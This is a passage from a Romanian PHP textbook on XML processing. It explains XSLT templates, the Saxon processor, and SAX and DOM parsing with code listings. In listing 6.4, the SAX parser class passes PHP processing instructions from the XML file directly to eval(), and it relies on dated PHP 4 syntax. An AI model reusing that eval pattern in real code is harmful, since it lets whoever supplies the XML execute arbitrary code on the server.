necesitã utilizarea unui server Web sau a unui browser. Ele vor fi prezentate în secþiunea
„Procesoare XSLT”.
Limbajul XSL respectã sintaxa XML ºi nu necesitã DTD. Este suportat complet de
browserul Internet Explorer 6.0 ºi parþial de Internet Explorer 5.5 ºi Netscape 6.0.
Problemele legate de faptul cã unele browsere nu suportã integral tehnologia XSL pot fi
evitate dacã se utilizeazã scripting XSL pe partea de server. XSL include, în fapt, trei
tehnologii:
• XSLT (XSL Transformation este simultan limbaj funcþional ºi specificaþie de foi de
stil ºi permite transformarea unui document XML într-un alt document, al cãrui
format este ales de programator (e.g., ASCII, RTF, XHTML – limbaj recunoscut de
browsere – sau alt dialect XML);
116 PROGRAMAREA ÎN PHP

• XPath (XML Path Language): limbaj pentru localizarea ºi procesarea nodurilor


într-un document XML; deoarece un document XML este o structurã ierarhicã,
existã posibilitatea navigãrii prin aceastã structurã folosind XPath;
• XSL FO (XSL Formating Objects): vocabular de formatare a documentelor XML.
În acest capitol vom prezenta transformarea XSLT a documentelor XML în PHP (care
utilizeazã biblioteca libxslt).

Limbajul XSLT
Ne vom referi în continuare la cea mai importantã tehnologie: limbajul XSLT, utilizat
împreunã cu limbajul XPath, acesta din urmã fiind folosit pentru a preciza calea unui
element XML sau a unui grup de elemente. Puteþi gãsi ultimele specificaþii ale limbajului
XSLT – care definesc sintaxa ºi semantica sa – în documentul W3C „XSL Transfor-
mations (XSLT) version 2.0” (schiþã de lucru W3C din 5 Noiembrie 2004) la adresa
http://www.w3.org/TR/xslt20.
În principiu, utilizând XSLT, se produce dintr-un arbore XML sursã un arbore XML
rezultat, utilizând un fiºier-ºablon XSLT (cu extensia xsl) sau foaie de stil XSLT. Astfel,
un fiºier-ºablon XSLT realizeazã urmãtoarele acþiuni asupra unui document XML:
• transformã fiecare element XML în alt element XML (e.g., XHTML);
• poate adãuga elemente noi;
• poate elimina o parte dintre elemente;
• poate sorta elementele;
• ia decizii în ceea ce priveºte elementele pe care trebuie sã le afiºeze, prin testarea
unor condiþii;
• formateazã datele afiºate.
Fiºierul ºablon utilizat este precizat prin introducerea urmãtoarei linii în documentul
XML:
<?xml:stylesheet type=”text/xsl” href=”filename.xsl”?>
Salvaþi în fiºierul catalog.xsl conþinutul listing-ului 6.2. Acesta conþine o foaie de stil
XSLT.
6.2. Fiºierul catalog.xsl
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<xsl:stylesheet version=”1.0”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”
xmlns=”http://www.w3.org/1999/xhtml”>
<xsl:output method=”html”
doctype-public=”-//W3C//DTD XHTML 1.0 Transitional//EN”
doctype-system=”http://www.w3.org/TR/xhtml1/DTD/
xhtml1-transitional.dtd”/>
<xsl:template match=”/”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Catalog</title>
PHP ªI XML 117

</head>
<body>
<h2>Studenti</h2>
<table border=”1” cellpadding=”5”>
<tr bgcolor=”silver”>
<th align=”center”>Nume</th>
<th align=”center”>An</th>
<th align=”center”>Varsta</th>
</tr>
<xsl:for-each
select=”catalog/student[age&lt;21]”>
<xsl:sort select=”year”/>
<xsl:if test=”age!=’25’”>
<tr>
<td><xsl:value-of select=”name”/></td>
<td><xsl:value-of select=”year”/></td>
<td><xsl:value-of select=”age”/></td>
</tr>
</xsl:if>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Documentul XSLT este un document XML. Acest lucru se precizeazã astfel:
<?xml version=”1.0” encoding =”iso-8859-1”?>
Ca oricare document XML, ºi documentul XSLT are un element-rãdãcinã. Acest
element poate fi declarat în douã moduri, dupã cum se aratã în continuare:
<xsl:stylesheet version=”1.0”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”>
sau
<xsl:transform version=”1.0”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”>
Elementul-rãdãcinã precizeazã versiunea XML utilizatã (1.0) ºi spaþiul de nume
XSLT. Acesta din urm㠖 precizat prin xmlns:xsl – aratã cã documentul XSL respectã
specificaþiile W3C incluse (în noiembrie 1999) în documentul de la adresa http://
www.w3.org/1999/XSL/Transform. Dacã este precizat spaþiul de nume, trebuie sã se
utilizeze în mod obligatoriu ºi version=”1.0”. Toate marcajele incluse în fiºierul-ºablon
XSLT vor fi prefixate cu xsl pentru a le asocia cu spaþiul de nume precizat la începutul
documentului.
Elementul output este utilizat pentru a defini tipul documentului rezultat în urma
transformãrii documentului XML. Iatã câteva dintre valorile posibile: text, xml , html
etc. ºi un exemplu de utilizare:
118 PROGRAMAREA ÎN PHP

<xsl:output method=”html”/>
Limbajul XSLT este un limbaj bazat pe reguli sau un limbaj funcþional, spre
deosebire de alte limbaje de programare (e.g., PHP, C++), care sunt limbaje
procedurale sau orientate pe obiect. Astfel, XSLT necesitã un set de
reguli-ºablon (template rules) furnizate de programator prin care acesta comunicã
procesorului ce trebuie sã facã atunci când întâlneºte diverse elemente într-un document
XML. O regulã-ºablon se declarã cu elementul template, specificat astfel:

<xsl:template>
Atributul match al acestui element identificã porþiunea din documentul XML care se
potriveºte cu valoarea sa, specificatã conform regulilor limbajului XPath. Potrivirea cu
întregul document se realizeazã cu match=”/” .
Procesorul XSLT (e.g., navigatorul Web) începe sã citeascã documentul XML cãutând
elemente care se potrivesc cu elementele template din foaia de stil XSL asociatã. Când
este gãsit un astfel de element, conþinutul elementului template corespunzãtor comunicã
procesorului XSLT ce ieºire trebuie sã genereze ºi, apoi, cãutarea continuã. Când un
ºablon conþine un element apply-template, procesorul XSLT va cãuta elementele
XML conþinute în interiorul elementului curent ºi le aplicã regulile asociate:
<xsl:apply-templates/>
Fiºierul-ºablon XSLT poate conþine elementul for-each, specificat astfel:
<xsl:for-each>
Acest element este utilizat pentru bucle for ºi are select ca atribut. Elementul
for-each asigurã aplicarea acþiunilor specificate în interiorul sãu (de un numãr de ori
egal cu numãrul de potriviri care au loc cu expresia XPath din atributul select).
Atributul select mai poate conþine ºi informaþie de filtrare, astfel încât sã se potriveascã
numai anumite elemente. Astfel, dacã se doreºte sã se afiºeze numai studenþi a cãror
vârstã este mai micã de 21 de ani, trebuie sã se utilizeze:
<xsl:for-each select=”catalog/student[age&lt;21]”>
În exemplul anterior a fost utilizatã secvenþa escape &lt; (less than) pentru a
reprezenta operatorul < (mai mic).
Fiºierul-ºablon XSLT poate conþine elementul value-of, specificat astfel:
<xsl:value-of>
Cel mai important atribut al acestui element este select. Utilizarea elementului are
ca rezultat afiºarea conþinutului elementului precizat ca valoare a acestui atribut. Astfel,
dacã documentul XML conþine secvenþa:
<name>Radu Florescu</name>
pentru a afiºa Radu Florescu se utilizeazã secvenþa urmãtoare:
<xsl:value-of select=”name”>
Fiºierul-ºablon XSLT poate conþine elementul sort, specificat astfel:
<xsl:sort>
PHP ªI XML 119

Acest element utilizeazã atributul select ºi este utilizat pentru sortarea datelor
afiºate, în funcþie de valoarea acestui atribut. Rândul urmãtor permite sortarea datelor de
ieºire dupã valoarea elementului year:
<xsl:sort select=”year”/>
De asemenea, fiºierul-ºablon XSLT poate conþine elementul if, specificat astfel:
<xsl:if>
Acþiunile specificate în interiorul acestui element sunt efectuate numai dacã este
îndeplinitã condiþia precizatã prin atributul test, aºa cum se aratã în exemplul urmãtor:
<xsl:if test=”age!=’25’”>
În acest exemplu vor fi afiºate datele studenþilor a cãror vârstã este diferitã de 25.
Foaia de stil XSLT se închide astfel:
</xsl:stylesheet>
Lista completã a elementelor XSLT o puteþi gãsi în documentul W3C „XSL Transfor-
mations (XSLT) version 2.0”, menþionat anterior.

Unde se utilizeazã XSLT


Tranformãrile XSLT pot fi utilizate în diferite scopuri. Vom prezenta în continuare, pe
scurt, douã dintre cele mai importante.
Conversia de date. În ultimii ani a crescut foarte mult cantitatea de date transferate
între organizaþii sau aplicaþii. În general, acestea utilizeazã moduri diferite pentru a
reprezenta aceleaºi date. Rezultã necesitatea de a se converti un set de date XML într-un
alt set de date XML. Pentru a realiza acest lucru se foloseºte XSLT.
Editare. Diferenþa dintre conversia de date ºi editare este aceea cã, în primul caz,
datele transformate sunt destinate unei aplicaþii, iar în al doilea, sunt destinate pentru a
fi citite de oameni. Editarea este reprezentatã de douã direcþii importante: hârtia tipãritã
ºi Web-ul. Limbajul XSL-FO (Extensible Stylesheet Language Formatting Objects) –
parte a XSL – descrie detalii de formatare pentru fiecare element al documentului XML.
Cea mai cunoscutã aplicaþie a limbajului XSLT este transformarea documentelor XML în
documente XHTML.

Procesoare XSLT. Utilizarea procesorului Saxon


Principalul rol al unui procesor XSLT este de a aplica o foaie de stil XSLT unui
document XML sursã ºi de a produce un document XML rezultat. Deoarece atât sursa,
cât ºi rezultatul au fiecare ca structurã fundamentalã arborele, rezultã cã un procesor
XSLT manipuleazã arbori XML. Existã numeroase procesoare XLST. Iatã douã dintre
ele (gratuite):
• Saxon (http://saxon.sourceforge.net/), dezvoltat de Michael Kay, este o aplicaþie
open source scrisã în Java, bazatã pe SAX; ultima versiune este Saxon-B 8.5;
• Xalan (http://xml.apache.org/) este un proiect open source dezvoltat de organizaþia
Apache. Are variante scrise în Java (Xalan-Java) ºi, respectiv, C++ (Xalan-C++),
utilizând implicit procesorul XML Xerces.
120 PROGRAMAREA ÎN PHP

În continuare vom prezenta modul de utilizare a procesorului XSLT Saxon. Descãrcaþi


Instant Saxon (aceasta este o versiune pentru platforma Windows). Dezarhivaþi ºi copiaþi
saxon.exe în directorul xml. Faceþi xml director curent ºi, în Command prompt, intro-
duceþi:
saxon catalog.xml catalog.xsl>catalog.html
Procesorul Saxon va crea în xml fiºierul catalog.html (dacã existã deja un fiºier cu
acest nume, va fi suprascris), al cãrui conþinut este prezentat în continuare:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”http://www.w3.org/TR/xhtml1/DTD/
xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head><title>Catalog</title>
</head>
<body>
<h2>Studenti</h2>
<table border=”1” cellpadding=”5”>
<tr bgcolor=”silver”>
<th align=”center”>Nume</th>
<th align=”center”>An</th>
<th align=”center”>Varsta</th>
</tr>
<tr>
<td>Mircea Damian</td>
<td>I</td>
<td>19</td>
</tr>
<tr>
<td>Catalin Popescu</td>
<td>I</td>
<td>19</td>
</tr>
<tr>
<td>Radu Florescu</td>
<td>II</td>
<td>20</td>
</tr>
</table>
</body>
</html>
Puteþi utiliza Saxon ºi pentru generarea unui alt document XML, pe baza unei foi de
stil. Salvaþi în fiºierul list.xsl urmãtoarea foaie de stil XSLT (listing-ul 6.3):
PHP ªI XML 121

6.3. Fiºierul list.xsl


<xsl:stylesheet version=”1.0”
xmlns:xsl=”http://www.w3.org/1999/XSL/Transform”>
<xsl:output method=”xml” indent=”yes”/>
<xsl:template match=”/”>
<list><xsl:apply-templates/></list>
</xsl:template>
<xsl:template match=”student”>
<record><xsl:apply-templates/></record>
</xsl:template>
<xsl:template match=”name”>
<id><xsl:apply-templates/></id>
</xsl:template>
<xsl:template match=”year”>
<level><xsl:apply-templates/></level>
</xsl:template>
<xsl:template match=”age”>
<number><xsl:apply-templates/></number>
</xsl:template>
</xsl:stylesheet>

Utilizaþi procesorul Saxon pentru a genera fiºierul list.xml:


saxon catalog.xml list.xsl>list.xml

conþinutul fiºierului list.xml

Documentele XML pot fi


transformate în alte documente
XML utilizând XSLT
122 PROGRAMAREA ÎN PHP

Afiºarea documentelor în browser utilizând XSLT


În continuare ne vom referi la transformarea XSLT a documentelor XML pe client. În
acest scop, browserul utilizat trebuie s㠄cunoasc㔠XSLT (XSLT-enabled). Toate browse-
rele moderne satisfac aceastã condiþie.
Dorim numai sã prezentãm un exemplu de utilizare a acestor limbaje, transformând
un document XML (acesta va fi documentul inclus în fiºierul catalog.xml) într-un
document XHTML, folosind posibilitãþile browserului.
În fiºierul catalog.xml, ºtergeþi linia:
<?xml-stylesheet type=”text/css” href=”catalog.css”?>
ºi introduceþi în locul ei:
<?xml-stylesheet type=”text/xsl” href=”catalog.xsl”?>
Introduceþi în caseta de adrese a browserului http://127.0.0.1/xml/catalog.xml. Ceea
ce va afiºa browserul va fi similar cu rezultatele prezentate în continuare. Veþi obþine
efecte similare ºi cu browserele Mozilla Firefox ºi Opera.
obþinute cu ajutorul fiºierului catalog.xml formatat XSLT

Documentele XML pot fi afiºate


în bowser utilizând tehnologia XSLT
(Extensible Stylesheets
Language Transformations)

Procesarea SAX a documentelor XML utilizând PHP


În aceastã secþiune vom prezenta o clasã PHP care va putea fi utilizatã pentru procesarea
unui document XML prin intermediul metodei SAX. În prealabil, vom prezenta câteva
consideraþii teoretice asupra metodei ºi funcþiile PHP predefinite folosite.

Consideraþii asupra metodei


Extensia PHP care face posibilã analiza SAX a documentelor XML implementeazã
suportul pentru procesorul XML expat. Aceastã extensie permite crearea procesoarelor
XML ºi definirea funcþiilor pentru tratarea evenimentelor XML.
PHP ªI XML 123

Procesorul expat, elaborat de James Clark (http://www.jclark.com/xml/expat.html),


este inclus în Apache începând cu versiunea 1.3.9 ºi în PHP începând cu versiunea
3.0.6. Dacã PHP funcþioneazã ca modul în Apache (UNIX/Linux), el va utiliza
automat biblioteca expat încorporatã în Apache. În versiunea PHP pentru Windows,
aceastã extensie este încorporatã (built-in).
SAX poate procesa documentele XML, dar nu le poate valida sau verifica dacã sunt
bine formatate. Dacã documentul XML nu este bine formatat, SAX îl va procesa pânã la
întâlnirea primei erori, moment în care va afiºa un mesaj de eroare. Metoda de procesare
SAX nu permite scrierea în documentele XML.
Procesarea SAX se bazeazã pe evenimente. Fiecare nod al arborelui XML
asociat documentului procesat declanºeazã un eveniment XML, care trebuie
tratat de funcþii definite de programator. Evenimentele XML sunt: apariþia
marcajului de început al unui element, apariþia marcajului de sfârºit al unui element,
apariþia unui element de tip CDATA ºi apariþia unei instrucþiuni de procesare.
Programatorul poate scrie funcþii (callbacks) care sunt apelate de procesor în momentul
producerii evenimentelor XML, pentru tratarea acestora.

Funcþii PHP utilizate


Pentru a realiza procesarea SAX a unui document XML, PHP utilizeazã o serie de funcþii
predefinite (http://php.net/xml). O parte dintre ele (cele care vor fi utilizate în exemplul
oferit în aceastã secþiune) sunt prezentate în continuare.
resource xml_parser_create([string encoding])
Aceastã funcþie iniþializeazã procesorul ºi întoarce o instanþã a acestuia, care va fi
utilizatã de alte funcþii XML. Parametrul opþional encoding precizeazã setul de caractere
utilizat. Sunt suportate seturile ISO-8859-1 (implicit), UTF-8 ºi US-ASCII.
bool xml_parse(resource parser,string data
[,bool is_final])
Funcþia analizeazã documentul XML, utilizând procesorul parser. Documentul este
procesat piesã cu piesã, acestea fiind reprezentate de parametrul data. Dacã parametrul
is_final are valoarea TRUE, data este ultima piesã analizatã.
bool xml_set_element_handler(resource parser,
callback start_element_handler,
callback end_element_handler)
Stabileºte funcþiile definite de programator care vor fi utilizate pentru procesarea
marcajelor de început ºi de sfârºit ale elementelor XML. Numele acestor funcþii sunt
parametrii start_element_handler ºi end_element_handler . Este utilizat
procesorul parser. Funcþia întoarce TRUE dacã funcþiile precizate existã sau FALSE
dacã parser nu este un procesor.
bool xml_set_character_data_handler(resource parser,
callback handler)
124 PROGRAMAREA ÎN PHP

Stabileºte funcþia handler (definitã de programator) utilizatã la întâlnirea unui


element CDATA . Este utilizat procesorul parser. Funcþia întoarce TRUE dacã functie
existã sau FALSE dacã parser nu este un procesor.
bool xml_parser_set_option(resource parser,
int option,mixed value)
Aceastã funcþie este utilizatã pentru stabilirea unor opþiuni de procesare XML.
Procesorul folosit este parser. Opþiunea option poate avea valorile XML_OPTION_CASE_
FOLDING (este de tip întreg; seteazã scrierea cu majuscule sau minuscule a marcajelor;
implicit, este utilizatã scrierea cu majuscule) ºi XML_OPTION_TARGET_ENCODING (este
de tip ºir de caractere; stabileºte setul de caractere utilizat; implicit, acesta este setul de
caractere utilizat de funcþia xml_parser_create()).
void xml_set_object(resource parser,object object)
Funcþia stabileºte procesorul parser care va putea fi utilizat în interiorul obiectului
object.

int xml_get_error_code(resource parser)


Aceastã funcþie întoarce un cod numeric de eroare generat de funcþia xml_parse()
în urma eºecului procesãrii sau FALSE dacã parser nu este un procesor valid.
string xml_error_string(int code)
Funcþia întoarce un ºir care conþine o descriere a erorii cu codul code (întors de
funcþia xml_get_error_code()) sau FALSE în cazul în care code nu este un cod de
eroare valid.
int xml_get_current_line_number(resource parser)
Aceastã funcþie întoarce numãrul liniei curente procesate de parser sau FALSE dacã
parser nu este un procesor valid.

bool xml_parser_free(resource parser)


Funcþia elibereazã memoria alocatã procesorului parser, creat anterior cu funcþia
xml_parser_create().

Exemplu de procesare SAX


În fiºierul de configurare php.ini, setaþi la Off valoarea directivei short_open_tag pentru
a putea procesa documentele care conþin declaraþii XML.
În xml, creaþi subdirectorul sax. În sax, copiaþi fiºierul catalog.xml. În listing-ul 6.4
este prezentatã o clasã PHP, care va fi utilizatã pentru procesarea SAX a documentelor
XML. Salvaþi codul-sursã inclus în listing-ul 6.4 în fiºierul xml_parser.php, pe care-l
veþi include în subdirectorul sax.
PHP ªI XML 125

6.4. Fiºierul xml_parser.php: o clasã utilizatã pentru analiza XML


<?php
// o clasa pentru procesarea documentelor XML
class xmlParser {
var $xml_parser; // instanta analizorului XML
var $fisier_xml; // numele fisierului XML
var $cod_xhtml; // codul XHTML generat */
var $marcaje_inceput; // multimea marcajelor de început
var $marcaje_sfarsit; // multimea marcajelor de sfarsit

// constructor
function xmlParser() {
$this->xml_parser = ””;//instanta analizorului XML
$this->xml_file = ””;//fisierul XML care va fi procesat
$this->xhtml_code = ””;//codul XHTML generat
//multimea marcajelor de inceput
$this->start_tags= array();
//multimea marcajelor de sfarsit
$this->end_tags=array();}
// destructor
function destroy() {
if ($this->xml_parser)
xml_parser_free($this->xml_parser);
}
// alte metode
// seteaza marcajele de inceput
function set_start_tags($tags) {
$this->start_tags = $tags;
}
// seteaza marcajele de sfarsit
function set_end_tags($tags) {
$this->end_tags = $tags;
}
// seteaza numele fisierului XML
function set_xml_file($file) {
$this->xml_file = $file;
}
// furnizeaza codul HTML generat
function get_xhtml_code() {
return $this->xhtml_code;
}
/* tratarea evenimentului de aparitie a unui marcaj
de început */
function start_element($parser,$name,$attrs) {
if ($format = $this->start_tags[$name])
$this->xhtml_code .= $format;
126 PROGRAMAREA ÎN PHP

}
/* tratarea evenimentului de aparitie a unui marcaj
de sfarsit */
function end_element($parser,$name) {
if ($format = $this->end_tags[$name])
$this->xhtml_code .= $format;
}
/* tratarea evenimentului de aparitie a unui element XML
de tip CDATA */
function character_data($parser,$data) {
$this->xhtml_code .= $data;
}
/* tratarea evenimentului de aparitie a unei instructiuni
de procesare */
function processing_instruction($parser,$target,$data) {
switch (strtolower($target)) {
case ”php”: eval($data);
break;
}
}
// functia de analiza (parsare) a documentului XML
function parse() {
// instantiaza procesorul XML
$this->xml_parser = xml_parser_create();
// inregistreaza functiile de analiza
xml_set_object($this->xml_parser, &$this);
/* seteaza optiunile de analiza (tag-urile nu
sunt rescrise cu caractere mari) */
xml_parser_set_option(
$this->xml_parser,XML_OPTION_CASE_FOLDING, false);
// seteaza functiile de procesare a elementelor XML
xml_set_element_handler(
$this->xml_parser,”start_element”,”end_element”);
xml_set_character_data_handler(
$this->xml_parser,”character_data”);
xml_set_processing_instruction_handler(
$this->xml_parser,”processing_instruction”);
// deschide fisierul XML
if (!($fp = fopen($this->xml_file,”r”)))
die(”Fisierul XML nu poate fi deschis”);
// proceseaza fisierul
while ($data = fread($fp, 4096)) {
if(!xml_parse($this->xml_parser,$data, feof($fp))) {
// eroare de procesare
die(”Eroare XML: ”.
xml_error_string(xml_get_error_code($this->xml_parser))
PHP ªI XML 127

.” in linia ”.
xml_get_current_line_number($this->xml_parser));
}
}
}
}
?>

Proprietãþile (datele membre) clasei xmlParser sunt: $xml_parser (care va stoca


o instanþã a analizorului XML), $xml_file (care va stoca numele fiºierului XML
procesat), $start_tags ºi $end_tags (care vor stoca – sub formã de tablouri –
marcajele utilizate pentru procesarea documentului XML) ºi $xhtml_code (care va
pãstra codul XHTML generat).
Metoda xmlParser() este constructorul clasei, iar metoda destroy() este similarã
unei metode-destructor.

Figura 6.3. Transformarea unui document XML într-un document XHTML

Metoda set_xml_file() precizeazã numele fiºierului XML care va fi procesat,


metodele set_start_tags() ºi set_end_tags() stabilesc marcajele de început ºi,
respectiv, de sfârºit ale elementelor care vor fi procesate, iar metodele start_element(),
end_element() ºi character_data() trateazã evenimentele de apariþie a unui marcaj
de început ºi a unui marcaj de sfârºit ale unui element XML ºi, respectiv, evenimentul
de apariþie a unui conþinut de tip CDATA. Metoda care realizeazã procesarea documentului
XML este parse(). Metoda get_xhtml_code() întoarce codul XHTML generat
(care este pãstrat în proprietatea $xhtml_code).
În listing-ul 6.5 este prezentat un script care utilizeazã clasa xmlParser pentru
procesarea documentului catalog.xml ºi transformarea acestuia într-un document XHTML
(vezi figura 6.3). Salvaþi scriptul în fiºierul parsexml.php ºi executaþi-l (http://127.0.0.1/
xml/sax/parsexml.php).
6.5. Script utilizat pentru procesarea SAX a unui document XML
<?php
require(”xml_parser.php”);
$start_tags = array(
”student” =>”<table cellpadding=\”2\”
align=\”center\” border=\”1\” width=\”250\”>”,
”name” => ”<tr align=\”center\”>
128 PROGRAMAREA ÎN PHP

<td width=\”150\” bgcolor=\”silver\”>”,


”year” => ”<td width=\”50\”>”,
”age” => ”<td width=\”50\”>”);
$end_tags = array(
”student” => ”</table>\n”,
”name” => ”</td>”,
”year” => ”</td>”,
”age” => ”</td></tr>”);
$parser = new xmlParser();
$parser->set_xml_file(”catalog.xml”);
$parser->set_start_tags($start_tags);
$parser->set_end_tags($end_tags);
$parser->parse();
echo ”<p style=’font-family: tahoma; color: red;
font-size: 16px; text-align: center;’>Studenti</p>”;
echo $parser->get_xhtml_code();
$parser->destroy();
?>

afiºate dupã executarea scriptului din listing-ul 6.5

Procesarea simplã (SAX) a


documentelor XML (PHP 4)

În listing-ul 6.6 vã prezentãm o altã clasã pentru a cãrei implementare au fost utilizate
acele elemente de programare orientatã pe obiect introduse în PHP începând cu versiunea
5.0. Clasa Catalog va fi folositã pentru procesarea aceluiaºi document XML (catalog.xml).
6.6. O clasã pentru procesarea unui document XML (PHP 5.0+)
<?php
class Catalog {
protected $parser;
//stiva care va retine elementul XML curent
protected $stack = array();

// functia constructor
public function __construct() {
PHP ªI XML 129

$this->parser = xml_parser_create();
xml_set_object($this->parser, $this);
xml_set_element_handler(
$this->parser,’startElement’,’endElement’);
xml_set_character_data_handler(
$this->parser,’characterData’);
}

// functia destructor
public function __destruct() {
xml_parser_free($this->parser);
}

// functie de procesare a documentului XML


public function readFile($file) {
xml_parse($this->parser,file_get_contents($file));
}

/* functie care trateaza evenimentul aparitiei marcajului


de deschidere al unui element XML */
protected function startElement($parser,$element,
$attributes) {
array_push($this->stack,$element);
}

/* functie care trateaza evenimentul aparitiei marcajului


de inchidere al unui element XML */
protected function endElement($parser,$element) {
array_pop($this->stack);
}

/* functie care trateaza evenimentul de aparitie a unui


continut de tip CDATA */
protected function characterData($parser, $cdata) {
switch($this->stack[sizeof($this->stack)-1]) {
case ’NAME’: echo ”<p><span style=’
font-family: tahoma;
font-size: 14px; color: red;’>
Nume: ”. $cdata . ”</span><br />”;
break;
case ’YEAR’: echo ”<span style=’font-family: tahoma;
font-size: 12px;’>
Anul: ”. $cdata . ”<br />”;
break;
case ’AGE’: echo ”<span style=’font-family: tahoma;
font-size: 12px;’>
130 PROGRAMAREA ÎN PHP

Varsta: ”. $cdata . ”</span></p>”;


break;
}
}
}
?>
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>SAX</title>
</head>
<body>
<?php
$catalog = new Catalog();
echo ”<div align=’center’>”;
echo ”<p style=’font-family: tahoma; font-size: 18px;
color: blue;’>Studenti</p>”;
$catalog->readFile(’catalog.xml’);
echo ”</div>”;
?>
</body>
</html>

afiºate dupã executarea scriptului din listing-ul 6.6

Procesarea simplã (SAX)


a documentelor XML (PHP 5)

Salvaþi conþinutul listing-ului în fiºierul parsexml2.php ºi executaþi-l (http://


127.0.0.1/xml/sax/parsexml2.php).
În listing-ul 6.6, funcþia PHP file_get_contents() întoarce într-un ºir întregul
conþinut al fiºierului furnizat ca argument. Prototipul acestei funcþii este:
PHP ªI XML 131

string file_get_contents (string filename


[,bool use_include_path])

Argumentul filename precizeazã numele fiºierului care va fi accesat (dacã directiva


allow_url_fopen este activatã în php.ini, poate fi utilizat URL-ul fiºierului respectiv,
condiþie absolut necesarã pentru accesarea unor fiºiere aflate pe alte servere). Dacã
parametrul opþional include_path are valoarea TRUE, fiºierul filename va fi cãutat
local în lista de directoare specificatã în php.ini ca valoare a directivei include_path.

Procesarea DOM a documentelor XML utilizând PHP


Consideraþii asupra metodei
Dupã cum ºtiþi deja, DOM utilizeazã reprezentarea unui document XML ca un arbore
ierarhic de obiecte. Aceste obiecte au metode ºi proprietãþi care pot fi utilizate de o
aplicaþie pentru a naviga în documentul XML ºi pentru a-l procesa.
Specificaþiile W3C definesc un numãr de obiecte pentru a reprezenta structurile care
apar într-un document XML. De exemplu, elementele sunt reprezentate de obiectul
Element, iar atributele acestora sunt reprezentate de obiectul Attr. Fiecare dintre
aceste obiecte au metode ºi proprietãþi specifice. De exemplu, obiectul Element are
proprietatea tagName, care conþine numele elementului, ºi metodele getAttribute()
ºi setAttribute() , utilizate pentru manipularea atributelor elementului.
Fiind o interfaþã standard pentru accesul la datele structurate, DOM este inde-
pendent de platformã ºi de limbajul utilizat, fiind folosit pentru a reprezenta
datele XML în implementãri scrise în limbaje precum C/C++, Python, Delphi,
Visual Basic, Perl ºi PHP. Ne vom referi în continuare la utilizarea DOM pentru
procesarea documentelor XML în limbajul PHP
API-ul DOM PHP a fost complet rescris în versiunea 5. El are urmãtoarele carac-
teristici:
• este în întregime orientat pe obiect;
• suportã XPath, validarea documentelor XML ºi spaþii de nume XML;
• asigurã interoperabilitate cu Simple XML ºi XSLT;
• permite acces rapid la arborele XML (prin XPath) ºi manipularea acestuia.
Metodele bazate pe DOM sunt rapide, dar ocupã memorie multã (de circa trei ori
mãrimea documentului XML procesat). Pentru procesarea documentelor XML foarte
mari se recomandã XMLReader.
API-ul DOM PHP include mai multe clase predefinite. Acestea sunt clase de bazã
(DOMNode , DOMException, DOMImplementation, DOMNodeList ºi DOMXPath) ºi
clase extinse. Acestea din urmã extind clasele DOMNode (DOMAttr, DOMCharacterData,
DOMDocument, DOMDocumentType , DOMElement , DOMEntity, DOMNotation ,
DOMProcessingInstruction ºi DOMEntityReference ) ºi DOMCharacterData
(DOMComment ºi DOMText). Fiecare clasã are un numãr de metode ºi proprietãþi.
Deoarece acest numãr este destul de mare, spaþiul tipografic limitat nu permite prezen-
tarea lor integralã. Din acest motiv, vom prezenta câteva aplicaþii care folosesc metoda
132 PROGRAMAREA ÎN PHP

DOM, analizând de fiecare datã metodele ºi proprietãþile utilizate. Creaþi subdirectorul


dom, în care veþi salva fiºierele incluse în aceastã secþiune.

Exemplu de procesare XML cu DOM


În continuare (listing-ul 6.7) puteþi analiza un exemplu în care se utilizeazã extensia
DOM PHP pentru procesarea unui document XML. Scriptul prezentat afiºeazã numai
datele conþinute într-un astfel de document, eliminând marcajele XML. Salvaþi scriptul
în fiºierul strip.php:

6.7. Fiºierul strip.php


<?php
function process_children($node){
$children = $node->childNodes;
foreach ($children as $element) {
if ($element->nodeType == XML_TEXT_NODE) {
if (strlen(trim($element->nodeValue))) {
echo trim($element->nodeValue).”\n”;
}
}
else if ($element->nodeType == XML_ELEMENT_NODE) {
process_children($element);

}
}
}
$dom = new DomDocument();
// Este incarcat documentul XML din fisier
$dom->load(’catalog.xml’);
// Se obtine elementul-radacina
$root = $dom->documentElement;
/* Se proceseaza, recursiv, intregul document pornind de la
elementul-radacina */
process_children($root);
?>

DOMDocument este constructorul clasei cu acelaºi nume. El creeazã o instanþã a


clasei respective. Metoda DOMDocument->load() încarcã un document XML din
fiºierul a cãrui cale îi este transmisã ca argument.
În scriptul prezentat sunt utilizate câteva proprietãþi ale obiectelor obþinute prin
instanþierea unor clase enumerate anterior:
• DOMDocument->documentElement (de tip DOMElement) conþine elementul-rãdã-
cinã al documentului XML;
• DOMNode->childNodes (de tip DOMNodeList ) conþine toate elementele-copil ale
nodului curent. Dacã acesta nu are elemente-copil, DOMNodeList va fi vid;
PHP ªI XML 133

• DOMNode->nodeType (de tip int) conþine tipul nodului XML (o constantã de tipul
XML_xxx_NODE. De exemplu, XML_TEXT_NODE (nodul este un obiect DOMText) ºi
XML_ELEMENT_NODE (nodul este un obiect DOMElement);
• DOMNode->nodeValue (de tip string) conþine valoarea nodului (în funcþie de tipul
sãu).
Funcþia recursivã process_children() primeºte ca parametru un obiect DOMElement.
Dacã acesta este de tip DOMText , scriptul afiºeazã valoarea lui. În caz contrar, este
apelatã recursiv funcþia process_children() . Dupã execuþia scriptului anterior (pe
care-l puteþi salva în fiºierul showcontent.php), browserul va afiºa:
Mircea Damian I 19 Radu Florescu II 20 Catalin Popescu I 19
Sorin Danciu III 21

Crearea arborelui XML utilizând DOM


Extensia PHP DOM poate nu numai sã proceseze documentele XML, ci sã le ºi creeze.
În acest scop este necesar sã se creeze un arbore de obiecte (adicã reprezentarea DOM
a documentului XML). În exemplul inclus în listing-ul 6.8 este creat un document
XHTML. Salvaþi scriptul în fiºierul html_tree.php:

6.8. Fiºierul html_tree.php


<?php
$dom = new DomDocument();
$html = $dom->createElement(’html’);
